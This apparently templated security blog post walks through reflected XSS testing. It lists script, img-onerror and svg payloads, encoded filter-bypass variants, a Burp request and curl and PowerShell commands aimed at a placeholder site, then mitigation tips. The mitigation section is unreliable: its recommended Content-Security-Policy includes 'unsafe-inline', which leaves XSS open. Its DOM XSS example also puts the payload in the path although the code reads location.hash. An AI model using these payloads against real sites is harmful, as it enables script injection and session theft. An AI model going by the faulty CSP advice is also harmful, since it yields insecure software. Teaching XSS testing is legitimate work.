Listen to this Post
Reflected Cross-Site Scripting (RXSS) is a common web vulnerability where an attacker injects malicious scripts into a web application, which are then reflected back to the user’s browser. This writeup explores a triaged RXSS report on Bugcrowd, along with practical exploitation techniques and mitigation strategies.
URL:
You Should Know: How to Exploit & Test RXSS
1. Basic RXSS Payloads
Test these payloads in input fields or URL parameters:
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
">
<
svg/onload=confirm(1)>
2. Bypassing Filters
If basic payloads are blocked, try encoding or obfuscation:
%3Cscript%3Ealert(1)%3C/script%3E // URL-encoded \u003Cscript\u003Ealert(1)\u003C/script\u003E // Unicode escape
3. Testing with Burp Suite
Intercept a request with Burp and modify parameters:
GET /search?q=<script>alert(1)</script> HTTP/1.1 Host: vulnerable.com
4. DOM-Based XSS Detection
Check if user input is processed by JavaScript:
document.write(location.hash.substring(1)); // Exploit: https://site.com/<script>alert(1)</script>
5. Mitigation Techniques
- Use Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
- Encode output with HTML Entity Encoding:
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
What Undercode Say
RXSS remains a critical vulnerability due to improper input validation. Always test:
– URL parameters (?q=payload)
– Form inputs (<input>, <textarea>)
– HTTP headers (User-Agent, Referer)
Linux Command for Testing:
curl -X GET "https://vulnerable.com/search?q=<script>alert(1)</script>"
Windows PowerShell Check:
Invoke-WebRequest -Uri "https://vulnerable.com/search?q=<script>alert(1)</script>"
For deeper analysis, use XSS Hunter or BeEF Framework:
git clone https://github.com/mandatoryprogrammer/xsshunter
Expected Output: A working XSS popup or error logs indicating script execution.
Conclusion: RXSS can lead to session hijacking, phishing, and malware distribution. Developers must enforce strict output encoding, while bug hunters should master filter evasion techniques.
Expected Output:
Browser executes: alert(1) Server logs: Malicious script detected in query parameter.
References:
Reported By: Abhirup Konwar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
